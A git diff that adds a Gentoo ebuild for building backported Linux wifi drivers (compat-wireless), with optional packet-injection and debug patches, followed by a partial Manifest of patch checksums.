--- /dev/null +++ b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild @@ -0,0 +1,217 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit git-2 linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} +MY_PV=v${PV/_rc/-rc} +MY_PVS=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2" +#SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PVS}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+apply_cherrypicks +apply_crap +apply_stable apply_pending atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules +tarball noleds" + +DEPEND="!net-wireless/compat-wireless + apply_stable? ( dev-util/quilt )" +RDEPEND="${DEPEND} + livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + sys-fs/udev" + +#S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +S="${WORKDIR}/compat-wireless" +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_unpack() { + EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git" + EGIT_SOURCEDIR="${WORKDIR}/allstable" + EGIT_COMMIT="refs/tags/${MY_PV}" + git-2_src_unpack + unset EGIT_DIR + unset EGIT_COMMIT + + EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git" + EGIT_SOURCEDIR="${WORKDIR}/linux-next" + git-2_src_unpack + unset EGIT_DIR + + EGIT_REPO_URI="git://github.com/mcgrof/compat.git" + EGIT_SOURCEDIR="${WORKDIR}/compat" + EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y" + git-2_src_unpack + unset EGIT_DIR + unset EGIT_BRANCH + + EGIT_REPO_URI="git://github.com/mcgrof/compat-wireless.git" + EGIT_SOURCEDIR="${WORKDIR}/compat-wireless" + EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y" + git-2_src_unpack + unset EGIT_DIR + unset EGIT_BRANCH +} + +src_prepare() { + use apply_cherrypicks && apply="${apply} -n" + use apply_pending && apply="${apply} -p" + use apply_stable && apply="${apply} -s" + use apply_crap && apply="${apply} -c" + + #CAUTION: on this line GIT_TREE asks for linux-next but wants stable + GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh -s refresh || die + #CAUTION: but on this line GIT_TREE wants stable + GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh${apply} || die + + if use tarball; then + rm -rf .git/ + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build clean + find ./ -type f -name *.orig | xargs rm -f + find ./ -type f -name *.rej | xargs rm -f + use apply_cherrypicks && applied="${applied}n" + use apply_pending && applied="${applied}p" + #use apply_stable && applied="${applied}s" + use apply_crap && applied="${applied}c" + if [ "${applied}" ]; then + applied="-${applied}" + fi + tar -Jcf "${WORKDIR}"/${P}${applied}.tar.xz "${WORKDIR}/compat-wireless/" || die + fi + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + if use tarball; then + insinto /usr/share/${PN} + doins "${WORKDIR}"/${P}${applied}.tar.xz + fi + + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless-builder/files b/net-wireless/compat-wireless-builder/files new file mode 120000 index 00000000..e7cfba98 --- /dev/null +++ b/net-wireless/compat-wireless-builder/files @@ -0,0 +1 @@ +../compat-wireless/files \ No newline at end of file diff --git a/net-wireless/compat-wireless/Manifest b/net-wireless/compat-wireless/Manifest new file mode 100644 index 00000000..36419698 --- /dev/null +++ b/net-wireless/compat-wireless/Manifest @@ -0,0 +1,107 @@ +AUX 0001-ath5k-retain-promiscuous-setting.patch 1638 SHA256 c125640e535c9add6422435f72f136f9d4eac4d3655598dccc9b6f2214a3a507 SHA512 4ebaaa7bc10554ba44f7607d35e2afaec83350262be85dc625d79cb86308925fc69e15b750f420fef6444f23b76b5ccb016d914a65ed405afe91d48707db4b72 WHIRLPOOL 7dd6436049c713af28aebf7f365fd7d8f5f0c3344231a09fef05661ab590758442b36269178261294c4e81659b0eff9d3d59f32a0853ba9858967bfbc88960fd +AUX 4000_mac80211_2.6.28-rc4-wl_frag+ack_v3.patch 1063 SHA256 4ae0d3926ed563cb961df0d3236b321ad86698843a2a6df26476657c5e20dac0 SHA512 72ec2e736b6bd10f359b9c50ea5653243672e22302b5172765e5be65abdd3d9c0c63d0e7de7f45f9aca0e1264d42ba25ecda68da0619b57f8ebef610e09a938c WHIRLPOOL b94f026d7e9eea561d2fabe6b73cc2ea3f3949c06422475f00975721e626178a831344b490586fe4a59cd42c933ef9ab1f8c4f23c94250f914a8143dad38de93 +AUX 4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch 559 SHA256 2c9222e0c6aaafabac091766c7e0a71442f0e9521ec1c65fc7024fbca60a3354 SHA512 9bf0b852a4ffc66afc12fc60c3fc683d689a45ff5e18470db68f25f001e14fc09c813aa01fec2b4583af1c19141e748a10c7dfd6022d727cb8cf245f6c33a2ff WHIRLPOOL 2efd4c3f2d58a833be803df6034e01d3601cb1891921fe2031c50a241a3f5e8a9e8d54aa0b29566fcc6b2bac71d48e504a3f88585a1049884e0a5986724048a1 +AUX 4004_zd1211rw-2.6.28.patch 1412 SHA256 6696295acb2a8d12a33208525cba9ce8bd2971c9c0adaabb31debfa9ec15c7be SHA512 2aa73fa8e87cb06220b589f528ba25fcec818a14a98a8d5f1173b12c287ee85e48981a48bbce772aa7fc24a33a833df2eb5bc7af0d569ea8c839090c481566ec WHIRLPOOL 4245c75995d7579b9fcc0aa1412b4f9bc4a3a924076aca24b466658740a99b0592c293420c39a616a6241ec4dce213496bf4317b73fd4b94ab1dcefbe5130382 +AUX 4005_ath5k-frequency-expansion-2.6.30.patch 4838 SHA256 563a1644c51804d6014be54a7ce26cd4db70991a4b75c4b66370ea9136d40467 SHA512 22645e4332e17833d119600ccefb49d9ed6ea25735af5c0f21a2715ae2701d5a69279b1151bbc51f82e65904f7e222b7e19ca2a22493a9eac09f6b15ced8658a WHIRLPOOL 2afac0bd67df4ae794fb420914c23fc056888c9ab93ee423eb5971485fbef94cb17d2674d49a190c231ce31f8f89253dc5d344116dadea161d55c73ac74edcc5 +AUX 4007_ath5k-pass-failed-crc.patch 568 SHA256 12e8549aa3fd85d83fc7c80ab2dbd4ed5a22ae446af6979bfbdd4a3c2d4e9fe6 SHA512 64e305b18193ae4782b8ee8a98c46da095d72b94c876b31b4f7f4d213003cf768da06c8cdc19779aca8020d5e533e87ccc923483c88d15ab9c1977e6e717f5e8 WHIRLPOOL ac92a35bda9530ca23135bc97713f82f8ad0861d6bc2888c0afb313bbaf7798637ac8bd0f7b6183f6e8018600701178c60b05c2a8ee19afef02f7a48b2c3b142 +AUX 4012_openwrt-b43-disable_qos_when_openfw.patch 721 SHA256 f03374faa0d41a5dca7e20079d7a7bd59aebd309b56aa6c7f7108b596d3f0da2 SHA512 9f714ff4a532bb4139e5693622bef39fcc913a0efbaded9f884715c52fdadf445e3aae816a414854747c5416e328f17e436e02eeb7c0b8a530e13b3b02f6b293 WHIRLPOOL fff09fcdce20a25464155c89df09c15464d3db287621833de374c27c1666bb4ab8bd6a151ae1ad309ad7dd9be4b8cf0606c740d3fbaf8ea843a7f4ae278f2bda +AUX 4013-runtime-enable-disable-of-mac80211-packet-injection.patch 1490 SHA256 88f997a54768feeb40a9f985e412e90e9fda2491f32cf6b078eb2a0a9f81e785 SHA512 2f140493a3f9a30ec87e1f3ab24968be6729d8750a5d21a7b0e72431619c8d86d9025da92a47726bcfca0c82f0f332df2c18b089925cb6fe2655085394ca858e WHIRLPOOL eeb30e3d8fced29a3ae00df26bfd4e5898eb5e4f73c3da4ceb5aef84b98b043e39df21479749b51b234f9b0a1e529b317fcc7f87103df84b9089949b047a6b52 +AUX 4099-2.6.32-rc7-mac80211-security-fixes.patch 5951 SHA256 61d0c5e5681f0fb20cf65925b49eeebf34d3b026906e052c086f1f17147a9359 SHA512 4a2691283ed7514363c314f130d6a157b3cf61faa35be15219fffc2fb5cb159979ff0d001b04cb35f1ef999cde7b460b8c35c4b19d8acb67ea04c3ae10a77d9f WHIRLPOOL 7d5a3f377f4c4524420da36953a659ff343c78f0f527961b9636a9fd330bf7f684e60cc8ea99bd14fc92419c7243c94063a5e4be3bebc23e23a99d41ddfe0177 +AUX WEXT-EXT-nuts.patch 3150 SHA256 be6a5f2746ff6cf5963e95b1c7a895cc343c930de22a47e41b4ed0d24a60a6f0 SHA512 eef794f049806df6e5aba22b4db56a613cd7762457174c9262d52e54bf390ce359e773dda89ed918c15cb3463b5ce36cfe702655d611b87a74cfe13b94a6dbf7 WHIRLPOOL 8f1af322ee23976deb3bd9788c8599089176af48cd7d4ab6494e535fd610d22b8787114d8881977449976c3a1359486e97cf8ed233ff15d8253cb64b36901f16 +AUX ath9k_htc_ethtool_driver.patch 1242 SHA256 b27463b3f6cfe64e6b09835e1a06bc3ae83207f6800710ff0c461a6bef363460 SHA512 6c2db0b46d934440f8ea2b40d109351918988022db060f2d5ab0afb8f30db03b539e4b0fdb19317bdec17dba68202a6ff95eafb4a93bbabef81a9dd69008554b WHIRLPOOL 5ce44239dceaf4873f645fcb80d2921c3375e8a86557c0f9fb3e40fd16a130e740b93d57d93edeb8818f49db88affca377ddbe3db1a781517d5c71b293575c8b +AUX ath_ignore_eeprom.patch 2096 SHA256 def6985a8c1486bfe78c8cf72333f620d88730fc1c3116d016a03725a6ba2226 SHA512 7aee117de62bdf2b9c7c43a30bc0f3c944864d89473ed1c6536fb3479515694debc173fae4164959bc1de3675ebac68e64f16abf7cec5e8b784566aa83c44220 WHIRLPOOL a820ef5ca54907994120319667f28d89a68e8494e3acd7c597c04a949cce6345e2f93688d36473a647479f52baf01e78ea7a81a8f8a54a03fedd253f94e58981 +AUX ath_regd_optional.patch 906 SHA256 ebf117d071363e854505c18aef8c9af2652fd4a7b9cc5efe961cf5efb410dbd7 SHA512 dddc5e428f7d2a372ac17cce913c397ac408e20eb17af55633ea8984d6e69e8f7fe134436a4176606740d64fd66579c6a30a358cac393cb22f9a09d10f66e9d3 WHIRLPOOL b46164a1444d74f22d0e4f1e02ed556b52f87d5132871698ab93abd2076656e4ecadb7dc914d571df15a9bd18169ebaef67d4539a7919f1e2ffdd3df3b60cd90 +AUX blinky.patch 357 SHA256 1c2f0e18ecbcf2c07ba732671e77408326d2566d260f0252002c5698f9e65e30 SHA512 2b2eca3f346e450ce11c3c4b4415ee447e7a6dc8fb21dfb0015d1e2dd74ab1ec49f5929083a67fd6e8daa24ea88c43296b2f41c4d81d676691235f9ce2c9aff7 WHIRLPOOL 8fb17d10cc30c5b32dbeca392062b2b2d283ae06b0a2ca235740b66cf5d2573f6d5db8a11907210979a4f402b5b66ad2f88ec36ae690de724c484bbc4ff8fa13 +AUX channel-negative-one-maxim.patch 1021 SHA256 19f7fc0753636c32026e444e23bd101bd21cfeb59661284678bf157dc35212f2 SHA512 365edc44db47b69c4e1babe235ec7e5bc76853665ad45a1fe9e86ea3186aa5e1eb5a2769fe7f75b1f0bd247d67d73f84062f842e9f68e81c119ed4511ec16bcf WHIRLPOOL 09cf698e26f9f8438ff9ce99d5f50ff2aad99ac02888612b9ad56901d0f69f1b771a56cee15affcd9e61b8bfb501cafa0a650fc6228d642f2b34d1b90773d473 +AUX compat-chaos.patch 6187 SHA256 5e8c11b46bc8acf10a2ce8b934fec32662b57c003c99e5e0ca4717a8c6b19474 SHA512 40f8c15935d3f942dc08a223405e4cb46d0e48ad94d568da582f4b45c1fee41142b3b98d9079d0dfc621fbdfc0d9a8887247fd0e477e04bef571415b7f961409 WHIRLPOOL b749dd4f7f9802335ed610f0d51e0de35a9d88209a67530527428025c494f64759b052549e57afe10928bac5e2747f60ab47f0c8e1f5a5f442fa9db099ccad21 +AUX compat-sched.patch 286 SHA256 675e1f877f076f7941dc89248a99b01508cf8a05255bd5a2e2a46c71b148f73e SHA512 20530c0ed571da7cffd33cdf7bab7b4d77cd8c43e2fce9541efca4413a557de8ec676909648fd16c2f142fde3067c37bbc09b14331d8af3dd816d89723f475dd WHIRLPOOL fce079084ea5314880be3f82aa2cbd869309d79b391d6b54d8041abff02514dbd44ff74f6ac000325628b7005903e9cc3535f97686311f5019c312e8a7eb749f +AUX compat-wireless-3.5-grsec.patch 14300 SHA256 ad7cdbf8fca6d3dbe9c125b2b9be1f88cbe3e99bc7dee83d6b2797873b7f9922 SHA512 0cc019cbcfc74135545fdf706b5db222c50c95a3b3e9c16b5e2db219365a328ba1f25a50512734fc0b4f8866db7c99ccc721d04f35df0e7ca376bb08369358c0 WHIRLPOOL 7c4595fe92afd4635e355773bb20ace6810a51880f3495a979c6e360e64cc3850c46acdf28cde7831f725c77ce15b7071b1be0382577fd43dbea5388de4b37ee +AUX compat-wireless-3.5-grsec2.patch 819 SHA256 03add201c40734549319f927975e8bf65fc0d051072af1d2347525bc02da0cd1 SHA512 0471890ee528a15f14b3e6778b2eafca0e6f3b1ed3e7a98309986c57fd1de1718c60ddf716d80d74721b453a48c80ba9f0c1cef17578d1b92f56d4946e6edee1 WHIRLPOOL 1575683f1e368b262ab84d54e96d486b7de8c7dc455ff2a31e186fb3229590225a773e6935b120aa23f4650b145f5949077eb3672f0f0dab0541c1fc894fd843 +AUX compat-wireless-3.5.4-grsec.patch 388653 SHA256 0d7548626795d0c37899837c28a857dea08778cdc2c7a322021f1f159a486b98 SHA512 ab5776fb250778199807faca29d11a6af73b526828d401ec5f94facf3d55490172d1536bcb6efa0be002689be0dd6cc1c4d7d58d4d366d2c75f614fdaf45c84d WHIRLPOOL e6d94156e0f947924abd20fa604afaadafeb4a873efae744bb8c8d0f8db8a6764e944691f212fa1544a1fa1f15fb1563ec61380351374c6fd0ea50b730e51580 +AUX compat-wireless-3.6-grsec.patch 1763 SHA256 c50964800109ed1441e7831785760b9379e1dc7f930c60c89a5a0a80b76d45b8 SHA512 e7bf2da6445c60a991ef0d43f3a23f04a16800d4fd14c0d4ba02707fb27952d4492d03b6149215480400f9c5e9cbc8bdb180d55e7b853fb4e250269556e4e301 WHIRLPOOL 3df9f60d6fbc41e8f804cdd4b07c0afdb9856ac35ba3b0084b24448768dca91ba1e663c4eee56ee481f2d060fd07cb7624d9f69c4745c31de7200ca738b7322d +AUX compat-wireless-3.6-zc-grsec.patch 391128 SHA256 6d7ab834cb27aa6b0fa2e2b35397e3ce886f4a79c1c775164dbd91e424a3ae95 SHA512 9570dae9c5fa43d336cb1f89ae0795283bc2b136ee04f7023ad09ce42d6069f12cfd7856a9efcfc4adba76fbc40919666d2217808051bfd44a07e9f4d4af2551 WHIRLPOOL 9600405dcefea384bcfcc254f27b428b8937638e6c15ad70c4d7f039f3b06523e8aa255b966e62a090c6fbc90dc81e041aef32f48c978e0c0da2025dcae3536f +AUX compat-wireless-3.6.6-grsec-warnings.patch 6160 SHA256 393f78259f3ddc0fe5b0d7f8374260210ce1358e769957ed05ff16c141b68c6a SHA512 b00dba77adaea5d5f4440e592b226565a324738dbe9ebf160504670402daad678cdedc53c4c78bba1198704e715117aa48fb8e910773bd7ceff07a49f0c3c022 WHIRLPOOL e05b7cd3ebfd20ac655f8f1fb53274a405a599a0e2158ef44e14933faa1fbdee58162d911d7d2bac0898ebcac62349ac3e4da10fb2b08db92159bbd5aa15eb52 +AUX compat-wireless-3.6.6-grsec.patch 356795 SHA256 6ea9df3d99d2fe3c855cccb849812e1562634d1091b52287b623893d0907ab8b SHA512 2328497b4afefac7e1cab34f9260a83e0145e61d46171a78e53a2b2a368b25e43e72eb190a18e75ad6eaa978b00517a8d10606c8dd6e093ae3340f6df541a5c1 WHIRLPOOL 34844515231c7671ed8c3f301639b9b21104b4f4774e25e906e93185ccdf82c93cbc0147f959a88132c05c4d464c98d34454e83f62a12b9ff6d36b8480907af4 +AUX driver-debug.patch 2801 SHA256 06a37359ac7129a6f7db2f4e7f72d67c1f7014fd0adf439a89d119415a4316c2 SHA512 38947057ad7dd553f608216eb6858368a97d25a9711463ffb4c1ef477898300d401a8e7e881189ae85063f3e03ef1f432778db1a720b3f9fa04f14a14d2c1d8b WHIRLPOOL fb3ebc2e83a817454b0ec8e3a41ffba1c53fd32813f3cbd3aeda3452f9fc74267ffd6bec19a4a29160b86f4fed993bd0c665325b4e82edc091d3723dba05d510 +AUX failed_ath5k-frequency-chaos-2.6.28.patch 5787 SHA256 8e9e0888e890a2970274a7ba9d40d75e01ebaedb0e16700d8994b9ecfe921185 SHA512 160bea5dbc42b420690a6373666bd0e59eafb98937127d7ea0b02f380b6a49a78d732a773e63461a2ae6b1e882ba37201a6e00cc161b78ec9042aa8d377004cd WHIRLPOOL 2ee067b660c9c70faf28e3b6a4c94d93a4df7735683e97566e6726bbf22a9af9cdafc8e88b9dc7b73cddfda2cc392796195a4679d67c380807242a34c3270982 +AUX failed_ieee80211_inject-2.6.22.patch 772 SHA256 7403780cd3df720439f54b6cad88a803aacc0260af8fbbab0cfa25e523ae2ae9 SHA512 ed3279754e2bb97d79c61373903714d53790fa10201784c39931829ba9cc634bb7c9e3e4a17de7fe671545ba1c367ac5ae59d849c66325ad90f9b5f71134d26f WHIRLPOOL f61cc0e7e5a4505504aa5028a25871c0f8fafc3b30c9de93ff1d74cb0c42ca6758f005329b886183157c858ca09a6c48534c7e1c2486cd4fb9eb2ea78204e30a +AUX failed_linux-wlanng-kernel-2.6.28.patch 11623 SHA256 fd4bd200617c5f28e3a0ae58e5fa02f80279ad98aafed6c2e3d5b249a9b617c6 SHA512 f0637ef31bd91be87d3c38b7c392ddecacf37890b6900c2f08a8fffc711516f59dfa1d0624c85684b2d7f42bd59adf8950975b7a6201e6a865442be1f6ebba5d WHIRLPOOL 365dff7960dc1040d86128a716fe16f012500784e14029a22d1285982308c1fa1258e2ba4b8873206bd4242b87b39865e42cce878d5bbfb1ba2f590c98ebec14 +AUX failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch 6606 SHA256 6b761693587871591fc0ce96273d37f769f61d28f637c1692d931300c4f04504 SHA512 1e741e72bb801b7d63b3bf3fb48d434158cce54da9280b364e7686efeb4b17d48f2579cda95387ad81735dca46c73fdbe19ff9ad6a68c9ddd424c8211d1190f8 WHIRLPOOL 85a845eaf54fb57c2e8842b4b93dbc8856be9f9a044188530b0faaf1a9eb44d772e69ff0f72f661a3865768fe1a17e56cd072d9bb7b38e76675a17925a5c75f4 +AUX fix-typos-2.6.35_rc2.patch 704 SHA256 8319c6e70cf5c7a9d6b43a0bd7699c67504584ddc1d6d70ba4bf87625d2bb1b2 SHA512 8c417d05dcc1aad118b1b8ff43a60c718fdf02204f8cdbba1cc64c6128ce2d8ffd3216373979a30370d8ac4fef618e89e92ea23bf10592be9c65d465d1acfec1 WHIRLPOOL c7dc99c677754355af46739e1caf05826d554785ea3e559322b0d88541d3fb0eee2829c3b66cf70e57302e8c1e1a9cc40aaa5a0a9e03e4be0efa3bf135e6ccc2 +AUX fix-typos-2.6.36_rc5.patch 479 SHA256 8496796f97cd3074935623c59e155333164588f24556ab7c45bf3a3f71d20bb9 SHA512 95c21113418d4624e4cfb0cd87f3883e76d8726e9e219c23464c29d3bfcc2f3fbf195cecf6e94c0ed98e8e33e4809e3ab15aa916e8b5bcc34733ca49d22e1e2f WHIRLPOOL 06d2a9bbbd84d277968f5d59e39fc5cb5a842681dc6672cbf14dea3780b0fa674593257ccb4d3f3df18f8420f5038095f8df674e69daf714f46842e3f749310a +AUX force-enable-new-ralink-2.6.38_rc3.patch 769 SHA256 fcc7fa9a0f94776b263ac2215f7eb67c943840650a631dd9ca0171adce63dd74 SHA512 6c4540f5555df44a21550547b0b70acc556d39d8517790df4a3d9b214be7a7ec958ba440b8ff6a7cded44eb753f15b5597a22b61f015279e6806e361fbae4028 WHIRLPOOL 2f91bd03a5615cd018e7b2829fca7e4d1fd86d33c86d5f5222cc68c309065833d5a2148bbfb75c75c33ab326f7fc8e690df390a37ff1e5f6232dbe3656fdfc70 +AUX force-enable-new-ralink-pci-2.6.36-rc5.patch 529 SHA256 ed23620a9682c8023d5095007cdc0f7e2602e8d5e580faf446ad9189300ca17e SHA512 1c743c82368c2affa18507858ad4adbbc4b886f15f0284fe5c65089d90652fd4014d0ff1421dddfff9f917fd4c5560b792af3efc1f462e44140e0c6f331ed55d WHIRLPOOL 5fe037c49d7afa33500dfadeb44d845235dbace5806c1514f9298f87ae6f05e9d4178aa318b6624fd61a8b054c967c59002c3e18f3f195231bcc36601b40247f +AUX force-enable-new-ralink-pci.patch 371 SHA256 5ca2668bd930d2bba7eedbd78f2d538bf1a2ba3c8e1deb60af77580e66078a47 SHA512 cdcfb36e7c95d0f3e5f94ad0167450f426e4e989d9c2284de85a122a4610b5a7244b4c40cd0f845095e55bfb7293eed3c2128186bb985a94127a177085b8d6cf WHIRLPOOL 04150e4b24988164ce9c61c6c209ae2db3f325bd350fd5e5b94f99c9d40b9241c758aef38fdaca0b270c836cdce8167b42e4a12a13c684465939392bd9181c95 +AUX force-enable-new-ralink.patch 558 SHA256 b6a411562c8c0964d36817f4d276a8db2c3169d6044b648650eb8b742c2dc898 SHA512 225688766644fb5307c3a2fbb9233b2d56ebc02b0f1f403872ae732e7f216c4eafd771342cb20008cd9a306349f0d6ac5f614d40ad3832a303f76983e9317da4 WHIRLPOOL e317fc0f7433c93e12d79fea9536ce38125e621ca312123b2fa5c04a39ad13726bb5ea274ddf053bc7d58d042e11325e02039473da22b352f340191aa6a5e9a9 +AUX ipw2200-inject.2.6.36.patch 4139 SHA256 a23d46ba2183eca15b2afc9f88b1570589f51d67488cea5f514d534e218d6570 SHA512 772b858d09d0c2dd5ca061a2bc62c73d2d3c177d017db6f96d9bdbe42b310d1a8fb2de002711b9b80e1db3166ab4c07cb2cf14cdce1741af1f6a754f0f3c1e1b WHIRLPOOL b513803d8f600a974969e19d7478f3b9c8377306bbb723fe176878ba1a69269d94c80298b6f7249fd1e8b3ba7efd57ce76e65909cb709d0fcf2fab0405110786 +AUX ipw2200-inject.3.4.6.patch 4173 SHA256 0b649bd7b6d2bf22667edc96949b5ab92cc7fb5c543b4385c17c5e0f47fe4109 SHA512 ebee3efda7b94898ea18a89f57c515d5237ef3c2a1eaf0bd13949ec4663a600eadede4655178355ac3f5b8ddc2eccc2cceb88eba0281ed3f614ada186a041463 WHIRLPOOL 15d94b3176719d006363f4d42a11c505643fdead8d521ccfb149cf5eee8851488aa006d4f8c750ffb5e81b23ff03d275e5fde781505e508467ff76303e612570 +AUX iwlwifi-5000-exp-firmware.patch 475 SHA256 7e486f5d28cfaa50a98d486f6456c11bebae25f9dd7fd4b09fc8e9b12517efff SHA512 02ce73a889f3fcd72b9463ad2a09a7d925e48538562f50935b12de88c3a5d9567c81d8a1f97d42bc908e5dc68b1cd40b8a07417b1518ea976d75c60d923ef2eb WHIRLPOOL e17c9236f8706534bbb9fb0e455a29d41fc3292a2edcb6fee2a4eb499a30d2d48883afe5fce51ed9ee1338769fee6bbe6b8f346c730223737ab27004a6f4d26f +AUX johill-negone-paul.patch 2987 SHA256 0bcc6aaf343f3faaad09da3abdbf4308985dfc084c4213d8acc32dd1c52aab29 SHA512 e75017db29e79c2f49a9ddc3f75f0ca18372bb2f2547b57fea7378321e700fc2890505d7ba9f819dab77af89423978700c66abf7ccd802befe0bc136f4ca737c WHIRLPOOL c6f8873aa5775076ebfb90248447b8f5f2e32cd2256ab7ee5b62c0b2a9194a48d7425d060e51934a2f18ebe3a0f53eefdd5ef38629d2fe4c77e49f6d6aac2dfc +AUX johill-negone.patch 2972 SHA256 8acad1b386c6c849938a62a4d0216f8960f932ed3298a0f33739be39dce9fdc5 SHA512 4632c30e21763ac5f7a96339b034db30fd6b5b025b41b7e08558f4d34181c023acdbfef62510465511464edaa8c649da609d1888c51dd1914b1088c5a8e1092c WHIRLPOOL 445930f31f235478e094d8199fe2ec0d8c273e644875d87685d262a813d5fbb621766290aa7f38f48d453032b1ea7ca3be933d3f6992fbf9c5d43a59597fa9b8 +AUX led-oops.patch 733 SHA256 381f52b08f1b4c268fcc4ad88b0059d27b438bdab6acd4d54c882cc2505c99b9 SHA512 35d40badc12cb871ed5b6d4891e5c1e6c4d97d7f2c0d15735e1e22ff7f3c768084a5dc51dbfe00eb115af9f6545b763ebb3e2b00a4e90ff64832a74e73d7c994 WHIRLPOOL c9b53b7a2633a7d229f2b045c68b2264282eb73e7dd91ce2b27512e6f154608af1e664e0c5c7928b1f5a668b21f118c297e117ca1cd8d9f0159be7bd0eb5c245 +AUX 